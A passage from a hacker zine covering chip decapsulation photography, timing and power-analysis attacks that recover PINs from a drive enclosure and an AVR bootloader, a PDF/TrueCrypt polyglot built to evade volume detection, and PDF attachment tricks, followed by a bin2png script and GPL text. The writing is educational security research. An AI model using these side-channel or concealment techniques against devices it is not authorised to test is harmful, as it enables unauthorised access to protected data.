it’s also effective against the chip packaging well beneath its boiling point. You will also see that instead of
flaking off the packaging, H2SO4 dissolves it, taking on an ink-black color through which you won’t be able
to see the sample.

After the final H2SO4 bath, give the chip one last trip through the ultrasonic cleaner and then it will be
ready to photograph.

9.3 Photographic Equipment

Now that you’ve got an exposed die, it’s time to photograph it. For this you will need a metallurgical
microscope, meaning one that gives an image by reflected rather than transmitted light.

Microscope slides work for samples, but they aren’t really necessary, because no light comes up from the
bottom of a metallurgical microscope anyways. Small sample boxes with a sticky surface are handier, as
they are less likely to be damaged in a fall than a case full of glass microscope slides.

For photographing your chip, you can either get a microscope camera or an adapter for a DSLR. Each
of these has its advantages, but the microscope cameras are very often just cheap webcams with awkward
Windows-only software, so I go the DSLR route. Through either sort of camera, you can take individual
photos like the one in Figure 7.

15Here’s a handy rhyme to remember safety:

Johnny was a Chemist’s Son,
but Johnny is No More.
What Johnny thought was H2O,
was H2SO4!
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9.4 Photographic Procedure
Whichever sort of camera you use, you won’t be able to fit the entire chip into your field of view. In order
to get an image of the whole chip, you must first photograph it piecemeal, then stitch those photos together
with panorama software.16

Begin at a known corner of the chip and take a series of photographs while moving in the same direction
and keeping the top layer of your sample in focus. Each photograph should overlap by roughly a third
its contents with the image before and after it, as well as those on adjacent rows. Once a row has been
completed, move on to the next row and move back in the opposite direction.

Once you have a complete set of photos, load them in Hugin on a machine with plenty of RAM. Hugin
is a GUI frontend to panorama utilities, and it allows you to correct mistakes made by those tools if there
aren’t too many of them.

Hugin will do its best to align the pictures for you, and its result is either a near-perfect rendering or
a misshapen mess. If the mess is from a minor mistake, you can correct it, but for serious errors such as
insufficient overlap or bad focus, you will need to do a new photography session. With plenty of overlap, it
sometimes is enough to simple delete the offending photographs and let the others fill in that part of the
image.

Figure 8 shows the complete, but reduced resolution, die photograph that I took of the Clipper Chip.
This was built from 1,475 surface photographs that were stitched together by Hugin.

9.5 Further Reading
While you should get a proper chemistry education for its own sake, textbooks on chemistry as written for
chemists don’t cover these sorts of procedures. Instead, you should pick up books on Failure Analysis, which
can double as coffee table books for their nifty photographs of disassembled electronics.

After mastering surface photography, there are all sorts of avenues for continuing your new hobby. Using
polishing equipment or hydrofluoric acid, you can remove the layers of the chip in order to photograph its
internals. The neighbors at the Visual6502 project took this so far as to work backward from photographs
to a working gate-level simulation in Javascript!

Additionally, you can decap a chip while it’s still functional to provide for invasive or semi-invasive attacks.
For invasive attacks, take a look at Chris Tarnovsky’s lectures, as he’s an absolute master at sticking probe
needles into a die in order to extract firmware. Dr. Sergei Skorobogatov’s Ph.D. thesis describes a dozen
tricks for semi-invasively shining lasers into chips in order to extract their secrets, while Dmitry Nedospasov’s
upcoming thesis is also expected to be nifty.

poCoRgtfO
Neighborly thanks are due to Andrew Righter and everyone who was polite enough not to yell at me for

the die photos that I posted with improper exposure or incomplete decapsulation.
Cheers from Samland,
—Travis

16For fancy things like recovering gates in delayered chips, more sophisticated software is needed, but panorama software
suffices when only the top layer is being photographed.
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Figure 8: This is the complete die photograph of the Clipper Chip at reduced resolution.
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10 Forget Not the Humble Timing Attack

by Colin O’Flynn

Judge not your neighbour’s creation, as you know not under what circumstances they were created. And
as we exploit the creations of those less fortunate than us, those that were forced to work under conditions
of shipping deadlines or unreasonable managers, we give thanks to their humble offering of naïve security
implementations.

For when these poor lost souls aim to protect a device using a password or PIN, they may choose to
perform a simple comparison such as the following.

int password_loop ( void ){
unsigned char master_password [ 6 ] ;
unsigned char user_password [ 6 ] ;

read_master_password_from_storage (master_password ) ;
wait_for_pin_entry ( user_password ) ;

for ( int i = 0 ; i < 6 ; i++){
i f ( master_password [ i ] != user_password [ i ] ) {
return 0 ;

}
}
return 1 ;

}

Which everyone knows are subject to timing attacks. Such attacks can be thwarted of course by comparing
a hash of the password instead of the actual password, but simple devices or small codes such as bootloaders
may skip such an operation to save space.

10.1 A PIN-Protected Hard Drive

Let’s look at a PIN-protected hard drive enclosure, which the vendor describes as a “portable security
enclosure with 6 digit password.” This enclosure formats the hard drive into two partitions, the Public
partition and the secured Vault partition. The security of the Vault is entirely given by sacrilegious changes
to the partition table, such that if you remove the hard disk from the enclosure and plug into a computer
the OS won’t recognize the disk, thinking it tainted. The data itself is still there however.

The PCB contains four ICs of particular interest: a Marvell 88SA8040 Parallel ATA to Serial ATA
bridge, a JMicron JM20335 USB to PATA bridge, a WareMax WM3028A (no public information), and a
SST 39VF010 flash chip connected to the WM3028A. There’s also a number of discrete logic gates including
two 74HCT08D AND devices and one 74HC00D NAND device. These logic gates are used to multiplex
multiple parts from apparently limited IO pins of the WM3028A. It would appear that the system passes
the Parallel ATA data through the WM3028A chip, which is presumably some microcontroller-based system
responsible for fixing reads of the partition table once the correct password is put in.

The use of discrete logic chips for multiplexing IO lines ultimately makes our life easier. In particular
one of the 74HCT08D chips, U10, provides us with a measurement point for determining when the password
has failed the internal test.

Pin 3 of the switch is the multiplexing pattern from the microcontroller. Remember we must determine
when the microcontroller has read the pin, not simply when the user pushed the pin. Knowing that this
button was pressed, and thus caused the ‘Wrong PIN’ LED to come on, we can measure the time between
when the microcontroller has read in the entire PIN and when the LED goes on.

We then break the system one digit at a time by measuring the time after the last button is pressed.
First we enter 0-6-6-6-6-6, then 1-6-6-6-6-6, 2-6-6-6-6-6, etc. The delay between reading the button press and
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Figure 9: Pin-Protected Hard Disk

displaying the LED will be shortest if the first digit is wrong, longer if the first digit is right. A moving-picture
version of this is available on the intertubes.17

An example of the oscilloscope capture of this is shown in Figure 10, where the correct password is 1-2-
3-4-5-6. Note the jump in time delay between 0-6-6-6-6-6 and 1-6-6-6-6-6. This continues for each correct
digit. Thus for a 6-digit pin, we guess only a worst case of 10 ∗ 6 = 60 options, instead of the million that
would be required for brute-forcing the full pin.

10.2 TinySafeBoot for the Atmega328P

But what if the clever developer decided to not tell the user when they’ve entered a wrong password? A
security-conscious bootloader might wish to avoid being vulnerable to timing attacks, but is attempting to
avoid adding hash code for size reasons. An example of this is pulled from a real bootloader which has
a password feature. When a wrong password is entered jumps into an endless loop, effectively avoiding
providing information that would be useful for a timing attack.

In particular, let’s take a look at TinySafeBoot, which is a very small bootloader for most AVR micro-
controllers.18 This wonderful bootloader has many features, such as using a single IO pin, auto-calibrating
baud rate, and automatically build a bootloader image for you. And, as already mentioned, it contains a
password feature.

But compare the measurements of the power signatures shown in Figure 11, which is the bootloader
running on an AtMega328P. The correct password is {0x61, 0x52, 0x77, 0x6A, 0x73}. If we measure
the power consumption of the device, we observe clear differences between the correct and incorrect guesses.
This can be done by using a resistor in-line with the microcontroller power supply, such as by lifting a TFQP
package pin.

The code for the password feature looks as in the following listing. Note when you receive an incorrect

17http://tinyurl.com/pintiming
18You can find more information about this bootloader at http://jtxp.org/tech/tinysafeboot_en.htm.
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Figure 10: Timing Results
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Figure 11: Power Analysis. Above is a correct guess, Below is incorrect.

character the system jumps into an infinite loop at the chpwl label, meaning a reset is required to try another
password.

CheckPW:
chpw1 :

lpm tmp3 , z+ ; l oad charac t e r from Flash
cp i tmp3 , 255 ; b y t e va lue (255) i n d i c a t e s
breq chpwx ; end o f password −> e x i t
r c a l l Rece ivebyte ; e l s e r e c e i v e next charac t e r

chpw2 :
cp tmp3 , tmp1 ; compare wi th password
breq chpw1 ; i f e qua l check next charac t e r
cp i tmp1 , 0 ; or was i t 0 ( emergency erase )

chpwl : brne chpwl ; i f not , loop i n f i n i t e l y
r c a l l RequestConfirmation ; i f yes , r e que s t confirm
br t s chpa ; not confirmed , l e a v e
r c a l l RequestConfirmation ; r e que s t 2nd confirm
br t s chpa ; cannot be mistake now
r c a l l EmergencyErase ; go , emergency erase !
rjmp Mainloop

chpa :
rjmp APPJUMP ; s t a r t a p p l i c a t i o n

chpwx :
; rjmp SendDeviceInfo ; go on to SendDeviceInfo

We can immediately see the jump to the infinite loop in the power trace! It happens as soon as the device
receives an incorrect character of the password. Thus despite the original timing attack failing, with a tiny
bit of effort we again find ourselves easily guessing the password.
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Figure 12: Tapping VCC for Power Analysis

Measuring the power consumption of the microcontroller requires you to insert a resistor into the power
supply rail. Basically, this requires you to perform the schematic as shown in Figure 12. Note you can insert
it either into the VCC or the GND rail. It may be that the GND rail is cleaner for example, or it may be
that it’s easier to physically get at the VCC pin on your device.

For a regular oscilloscope you may need to build a Low Noise Amplifier (LNA) or Differential Probe. I’ve
got some details of that in my previous talk and whitepaper.19 You can expect to make a probe for a pretty
low cost, so it’s a worthwhile investment!

In terms of physically pulling this off, the easiest option is if you build a breadboard circuit with the AVR
and a resistor inserted in the power line. Be sure you have lots of decoupling after the resistor, which will
give you a much cleaner signal. If you’re looking to use an existing board, you can make a ‘cheater’ socket
with a resistor inline, as in Fig B, which was designed for an Arudino board.

Real devices are likely to be SMD. If you’re attacking a TQFP package, you might find it easiest to lift a
lead and insert a 0603 or 0402 resistor inline with the power pin. You might wish to find a friendly neighbour
with a steady hand and a stereo microscope for this if you aren’t of strong faith in your soldering!

poCoRgtfO
Thus when attacking embedded systems, the timing attacks often present a practical entry method.

Be sure to carefully inspect the system to determine the ‘correct’ measurement you need to use, such as
measuring the point in time when the microcontroller reads an I/O pin, not simply when an external event
happens.

When designing embedded systems, store the hash of the users password, lest ye be embarrassed by
breaks in your device.

19http://newae.com/blackhat
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11 This Encrypted Volume is also a PDF; or,
A Polyglot Trick for Bypassing TrueCrypt Volume Detection

by Ange Albertini

In this article I will show you a nifty way to make a PDF that is also a valid TrueCrypt encrypted volume.
This Truecryption trick draws on Angecryption from PoC‖GTFO 03:11, so if you missed it you can go back
in PoC-time now or later, and enjoy even more common file format schizophrenia!

11.1 What is TrueCrypt?
If you open a TrueCrypt container in a hex editor, you’ll see that, unlike many binary formats, it looks like
entirely random bytes. It does in fact have a header that starts with the magic signature string TRUE at file
offset 0x40, but this header is stored encrypted, and thus you can’t spot it offhand. To decrypt the header,
one needs both the correct password and the hopefully random salt that is stored in the bytes 0-63, just
before the encrypted header.

So, a TrueCrypt file starts with 64 bytes of randomness, used as salt to derive the header key from the
password. This key is used to decrypt the header. If the result of the decryption starts with TRUE, then it
means the password was correct, and the now decrypted header is parsed further. In particular, this header
contains volume keys, which are, in turn, used to encrypt/decrypt the blocks and sectors of the encrypted
drive.

Importantly, the salt itself is only used to decrypt the header. This is to defend against rainbow table-like
precomputing attacks.

Let’s start with an existing TrueCrypt volume file for which we know the password. We are not going to
change its actual contents or the header’s plaintext, but we are going to re-encrypt the header so that the
whole becomes a valid PDF file while remaining a valid TrueCrypt volume as well.
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Because the salt is supposed to be random, it can be anything we choose. In particular, it can double
as any other file format’s header. Using the original salt and password, we can decrypt the header. By
choosing a new salt—which starts with the header of our new binary target—we derive new keys, and can
thus re-encrypt the header to match our new salt.

So, our new file contains the new salt, the re-encrypted header, and the original data sectors of the
TrueCrypt container. But where will the new PDF binary content go?

For merging in the new content, we are going to use the trick that the readers of Angecryption, PoC‖GTFO
03:11, must have guessed already. As we showed there, in many binary formats such as PDF, PNG, etc., it
is possible to reserve a big chunk of space filled with dummy data right after the format’s header, and have
the binary format’s interpreters simply skip over that chunk. This is exactly what we are going to do: all of
the TrueCrypt volume data would go into the dummy chunk, followed by the new binary content.

If we want a valid binary file to be a TrueCrypt polyglot, we must fit its header and the declaration for
the dummy chunk within 64 bytes, the size of the salt. For Angecryption, we managed with only 16 bytes
to play with, so having 64 bytes almost feels like sinful and exuberant waste.

11.2 An elegant PDF integration
So far, our PDF/TrueCrypt polyglot looks like no contest. To add a bit of challenge, let’s make it with
standard PDF-making tools alone. We’ll ask pdflatex(1) nicely to include the TrueCrypt volume into our
polyglot.

Specifically, we’ll create a dummy stream object directly inside the document, using the following
pdflatex commands:

\begingroup
\pdfcompresslevel=0\relax

\immediate\pdfobj stream
file {pocorgtfo/truecryption/volume}

\endgroup

The bytes between the start of the resulting PDF file and our object that contains the TrueCrypt container
will depend on the PDF version and its corresponding structure. Luckily, the size of this PDF head-matter
data is typically around 0x20, well below 0x40. Plenty of legroom on this polyglot flight!

So our PDF will start with its usual header, followed by this standard stream object we created to play
the role of a dummy buffer for the TrueCrypt data. We now need to readjust the contents of this buffer so
that the encrypted TrueCrypt header matches its salt, which contains the PDF header, and we then get a
standard PDF that is also a TrueCrypt container.

11.3 Conclusion
This technique can naturally be applied to any other file format where we can fit the header and a dummy
space allocation within its first 64 bytes, the size of TrueCrypt’s initial salt.

Moreover, inserting your encrypted volume into a valid file—while keeping it usable—also has the benefit
of putting it under the radar of typical TrueCrypt detection heuristics. These heuristics rely on encrypted
TrueCrypt volumes having a round file size, uniformly high entropy, and no known header present. Our
method breaks all of these heuristics, and, on top of that, leaves the original document perfectly valid and
plausibly deniable.20

20Of course, this advice is legally worth exactly what you paid for it, and likely less. No warranty intended or implied, void
where prohibited by law, etc., etc., etc. Not endorsed by any lawyers real, imaginary, or played-on-TV, but may be considered
“digital cyber-bullets” by some. You may be called a merchant of digital cyber-polyglot death, too—you have been warned!
–PML
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12 How to Manually Attach a File to a PDF

by Ange Albertini

If you followed the PoC‖GTFO’s March of the Polyglots to date, you may have noticed that until now
the feelies were added in a dummy object at the end of the PDF document. That method kept unzip(1)
happy, and Adobe PDF tools were none the wiser.

Yet Adobe in its wisdom created its own way of attaching files to a PDF!

One of the great features of PDF is its ability to carry attached files, just as e-mail messages can
carry attached files. Any kind of file, and any number of files, can be sucked into a PDF file. These
are held internal to PDF as “stream” objects, one of the basic 8 object types from which all PDF
content is built (numbers, arrays, strings, true, false, names, dictionaries and streams). Streams
start with a dictionary object but then carry along an arbitrarily long sequence of arbitrary 8-bit
bytes. Stream objects meet the generic description for disk files quite well.

—Jim King at Adobe

So, dear reader, prepare to be sucked in into PDF feature(creep) greatness!21

Of course, we could use Adobe software to attach the feelies, but this is not the Way of the PoC. Instead,
we’ll use our trusty pdflatex(1).

Pdflatex allows us to directly create our own PDF objects from the TeX source, whether they are stream
or standard objects. For Adobe tools to see a PDF attachment, we need to create 3 objects:

• the stream object with the attached file contents;

• a file specification object with the filename used in the document;

• an annotation object with the /FileAttachment subtype.

21Some alarmist neighbors predict that the Universe will gravitationally collapse upon itself due to uncontrolled PoC‖GTFO
expansion. Fear not, neighbors: an international action on PoC footprint is coming! On a second thought, though, since you
are all Merchants of Dire PoC now, maybe fear twice as hard? –PML
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There are a couple of things to keep in mind. First, Adobe Reader refuses to extract attachments with
a ZIP extension, so we’ll need to use a different one. For the plain old unzip still to work on the resulting
PDF file (after a couple of fixes), we must make sure our attachment is stored in the PDF byte-for-byte,
without additional PDF compression.

Here is the code we need. Note that after creating our PDF objects, we can refer to them via \pdflastobj;
to output the actual value, we prepend that reference with the \the keyword.

\begingroup
\pdfcompresslevel=0\relax

\immediate\pdfobj stream
attr {/Type /EmbeddedFile} file {feelies.zip}

\immediate\pdfobj{<<
/Type /Filespec /F (feelies.zip.pdf) /EF <</F \the\pdflastobj\space 0 R>>

>>}
\pdfannot{

/Subtype /FileAttachment /FS \the\pdflastobj\space 0 R
/F 2 % Flag: Hidden

}
\endgroup

Finally, for some reason Adobe software fails to see an annotation object when it’s the last one in the
file. To work around this, we’ll just have to make sure we have some text after that object.

12.1 Increasing compatibility
Sadly, after we use this method and put the (extension-renamed) ZIP into PDF as a standard attachment,
plain old unzip will fail to unpack it. To unzip, the file doesn’t look like a valid archive: the actual ZIP
contents are neither located near the start of the file (because it’s a TrueCrypt polyglot) nor at the end
(because our document is big enough so the XREF table is bigger than the usual 64Kb threshold). Let’s
help unzip to find the ZIP structures again!

Luckily, this is easy to do. All we need is to duplicate the last structure of the ZIP file—the End of
Central Directory—which points to the body, the Central Directory. This structure is just 22 bytes long, so
it won’t make a big difference. When duplicating, we change the offset to the Central Directory so that it’s
pointing to the correct place in the PDF body. We then need to adjust the offsets in each directory entry
so that our files’ data is still reachable—and voilà, we have an attachment that is visible both to the fancy
Adobe tools and to the good old classic unzip!
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13 Ode to ECB
by Ben Nagy

Oh little one, you’re growing up
You’ll soon be writing C
You’ll treat your ints as pointers
You’ll nest the ternary
You’ll cut and paste from github
And try cryptography
But even in your darkest hour
Do not use ECB

CBC’s BEASTly when padding’s abused
And CTR’s fine til a nonce is reused
Some say it’s a CRIME to compress then encrypt
Or store keys in the browser (or use javascript)
Diffie Hellman will collapse if hackers choose your g
And RSA is full of traps when e is set to 3
Whiten! Blind! In constant time! Don’t write an RNG!
But failing all, and listen well: Do not use ECB

They’ll say “It’s like a one-time-pad!
The data’s short, it’s not so bad
the keys are long—they’re iron clad
I have a PhD!”
And then you’re front page Hacker News
Your passwords cracked—Adobe Blues.
Don’t leave your penguin showing through,
Do not use ECB
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14 A Call for PoC
by Pastor Manul Laphroaig

Howdy, neighbor! Is that a fresh new PoC you are hugging so close? Don’t stifle it, neighbor, it’s time
for it to see the world, and what better place to do it than from the pages of the famed International Journal
of PoC or GTFO? It will be in a merry company of other PoCs big and small, bit-level and byte-level, raw
binary or otherwise, C, Python, Assembly, hexdump or any other language. But wait, there’s more—our
editors will groom it for you, and dress it in the best Sunday clothes of proper church English. And when it
looks proudly back at you from these pages, in the company of its new friends, won’t that make you proud?
So set that little PoC free, neighbor, and let it come to me, pastor@phrack org!

14.1 PoC Contributions
Do this: Write an email telling our editors how to do reproduce *ONE* clever, technical trick from your
research. If you are uncertain of your English, we’ll happily translate from French, Russian, or German.

Like an email, keep it short. Like an email, you should assume that we already know more than a bit
about hacking, and that we’ll be insulted or—WORSE!—that we’ll be bored if you include a long tutorial
where a quick reminder would do. Don’t try to make it thorough or broad.

Do pick one quick, clever low-level trick and explain it in a few pages. Teach me something about file
formats that even Ange Albertini doesn’t already know; teach me how to make an image that’s invisible
at high resolution but at low resolution is exposed by dithering; or, teach me that an old exploitation trick
still works on QNX. Show me how to emulate Atlas’s RFCat as a GNURadio block. Don’t tell me that it’s
possible; rather, teach me how to do it myself with the absolute minimum of formality and bullshit.

Like an email, we expect informal (or faux-biblical) language and hand-sketched diagrams. Write it in a
single sitting, and leave any editing for your poor preacherman to do over a bottle of fine scotch. Send this
to pastor@phrack.org and hope that the neighborly Phrack folks—praise be to them!—aren’t man-in-the-
middling our submission process.

You can expect PoC‖GTFO 0x05, our sixth release, to appear in print soon at a conference of good
neighbors. We’ve not yet decided whether to include crayons, but you can be damned sure that it’ll be a
good read.
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bin2png/bin2png.py

#!/usr/bin/env python2

from PIL import Image
import math
import StringIO
import os
import sys

class FileReader(object):
    def __init__(self, path):
        if isinstance(path, file):
            if path.name == "<stdin>":
                infile = sys.stdin.read()
                self.length = len(infile)
                self.file = StringIO.StringIO(infile)
            else:
                self.length = os.path.getsize(path.name)
                self.file = path
        else:
            self.length = os.path.getsize(path)
            self.file = open(path)
    def __len__(self):
        return self.length
    def __getattr__(self, attr):
        return getattr(self.file, attr)
    def __iter__(self):
        return iter(self.file)

def choose_file_dimensions(infile, input_dimensions = None):
    if input_dimensions is not None and len(input_dimensions) >= 2 and input_dimensions[0] is not None and input_dimensions[1] is not None:
        # the dimensions were already fully specified
        return input_dimensions
    if not isinstance(infile, FileReader):
        infile = FileReader(infile)
    num_bytes = len(infile)
    num_pixels = int(math.ceil(float(num_bytes) / 3.0))
    sqrt = math.sqrt(num_pixels)
    sqrt_max = int(math.ceil(sqrt))

    if input_dimensions is not None and len(input_dimensions) >= 1:
        if input_dimensions[0] is not None:
            # the width is specified but the height is not
            if num_pixels % input_dimensions[0] == 0:
                return (input_dimensions[0], num_pixels / input_dimensions[0])
            else:
                return (input_dimensions[0], num_pixels / input_dimensions[0] + 1)
        else:
            # the height is specified but the width is not
            if num_pixels % input_dimensions[1] == 0:
                return (num_pixels / input_dimensions[1], input_dimensions[1])
            else:
                return (num_pixels / input_dimensions[1] + 1, input_dimensions[1])

    best_dimensions = None
    best_extra_bytes = None
    for i in range(int(sqrt_max), 0, -1):
        is_perfect = num_pixels % i == 0
        if is_perfect:
            dimensions = (i, num_pixels / i)
        else:
            dimensions = (i, num_pixels / i + 1)
        extra_bytes = dimensions[0] * dimensions[1] * 3 - num_bytes
        if dimensions[0]*dimensions[1] >= num_pixels and (best_dimensions is None or extra_bytes < best_extra_bytes):
            best_dimensions = dimensions
            best_extra_bytes = extra_bytes
        if is_perfect:
            break
    if best_extra_bytes > 0:
        sys.stderr.write("Could not find PNG dimensions that perfectly encode %s bytes; the encoding will be tail-padded with %s zeros.\n" % (num_bytes, best_extra_bytes))
    return best_dimensions

def file_to_png(infile, outfile, dimensions = None):
    dimensions = choose_file_dimensions(infile, dimensions)
    img = Image.new('RGB', dimensions)
    pixels = img.load()
    row = 0
    column = -1
    while True:
        b = infile.read(3)
        if not b:
            break

        column += 1
        if column >= img.size[0]:
            column = 0
            row += 1
            if row >= img.size[1]:
                raise Exception("TODO: Write exception!")
                
        color = [ord(b[0]), 0, 0]
        if len(b) > 1:
            color[1] = ord(b[1])
        if len(b) > 2:
            color[2] = ord(b[2])

        pixels[column,row] = tuple(color)

    img.save(outfile, format="PNG")

def png_to_file(infile, outfile):
    img = Image.open(infile)
    rgb_im = img.convert('RGB')
    for row in range(img.size[1]):
        for col in range(img.size[0]):
            r, g, b = rgb_im.getpixel((col, row))
            outfile.write(chr(r))
            outfile.write(chr(g))
            outfile.write(chr(b))

if __name__ == "__main__":
    import argparse
    
    parser = argparse.ArgumentParser(description="A simple cross-platform script for encoding any binary file into a lossless PNG.", prog="bin2png")

    parser.add_argument('file', type=argparse.FileType('r'), default=sys.stdin, help="the file to encode as a PNG (defaults to '-', which is stdin)")
    parser.add_argument("-o", "--outfile", type=argparse.FileType('w'), default=sys.stdout, help="the output file (defaults to '-', which is stdout)")
    parser.add_argument("-d", "--decode", action="store_true", default=False, help="decodes the input PNG back to a file")
    parser.add_argument("-w", "--width", type=int, default=None, help="constrain the output PNG to a specific width")
    parser.add_argument("-v", "--height", type=int, default=None, help="constrain the output PNG to a specific height")

    args = parser.parse_args()

    if args.decode:
        png_to_file(args.file, args.outfile)
    else:
        dimensions = None
        if args.height is not None or args.width is not None:
            dimensions = (args.width, args.height)
        file_to_png(args.file, args.outfile, dimensions=dimensions)







bin2png/LICENSE

GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc., <http://fsf.org/>
 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble

  The licenses for most software are designed to take away your
freedom to share and change it.  By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users.  This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it.  (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.)  You can apply it to
your programs, too.

  When we speak of free software, we are referring to freedom, not
price.  Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.

  To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.

  For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have.  You must make sure that they, too, receive or can get the
source code.  And you must show them these terms so they know their
rights.

  We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.

  Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software.  If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.

  Finally, any free program is threatened constantly by software
patents.  We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary.  To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.

  The precise terms and conditions for copying, distribution and
modification follow.

                    GNU GENERAL PUBLIC LICENSE
   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION

  0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License.  The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language.  (Hereinafter, translation is included without limitation in
the term "modification".)  Each licensee is addressed as "you".

Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope.  The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.

  1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.

You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.

  2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:

    a) You must cause the modified files to carry prominent notices
    stating that you changed the files and the date of any change.

    b) You must cause any work that you distribute or publish, that in
    whole or in part contains or is derived from the Program or any
    part thereof, to be licensed as a whole at no charge to all third
    parties under the terms of this License.

    c) If the modified program normally reads commands interactively
    when run, you must cause it, when started running for such
    interactive use in the most ordinary way, to print or display an
    announcement including an appropriate copyright notice and a
    notice that there is no warranty (or else, saying that you provide
    a warranty) and that users may redistribute the program under
    these conditions, and telling the user how to view a copy of this
    License.  (Exception: if the Program itself is interactive but
    does not normally print such an announcement, your work based on
    the Program is not required to print an announcement.)

These requirements apply to the modified work as a whole.  If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works.  But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.

Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.

In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.

  3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:

    a) Accompany it with the complete corresponding machine-readable
    source code, which must be distributed under the terms of Sections
    1 and 2 above on a medium customarily used for software interchange; or,

    b) Accompany it with a written offer, valid for at least three
    years, to give any third party, for a charge no more than your
    cost of physically performing source distribution, a complete
    machine-readable copy of the corresponding source code, to be
    distributed under the terms of Sections 1 and 2 above on a medium
    customarily used for software interchange; or,

    c) Accompany it with the information you received as to the offer
    to distribute corresponding source code.  (This alternative is
    allowed only for noncommercial distribution and only if you
    received the program in object code or executable form with such
    an offer, in accord with Subsection b above.)

The source code for a work means the preferred form of the work for
making modifications to it.  For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable.  However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.

If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.

  4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License.  Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.

  5. You are not required to accept this License, since you have not
signed it.  However, nothing else grants you permission to modify or
distribute the Program or its derivative works.  These actions are
prohibited by law if you do not accept this License.  Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.

  6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions.  You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.

  7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License.  If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all.  For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.

If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.

It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices.  Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.

This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.

  8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded.  In such case, this License incorporates
the limitation as if written in the body of this License.

  9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time.  Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.

Each version is given a distinguishing version number.  If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation.  If the Program does not specify a version number of
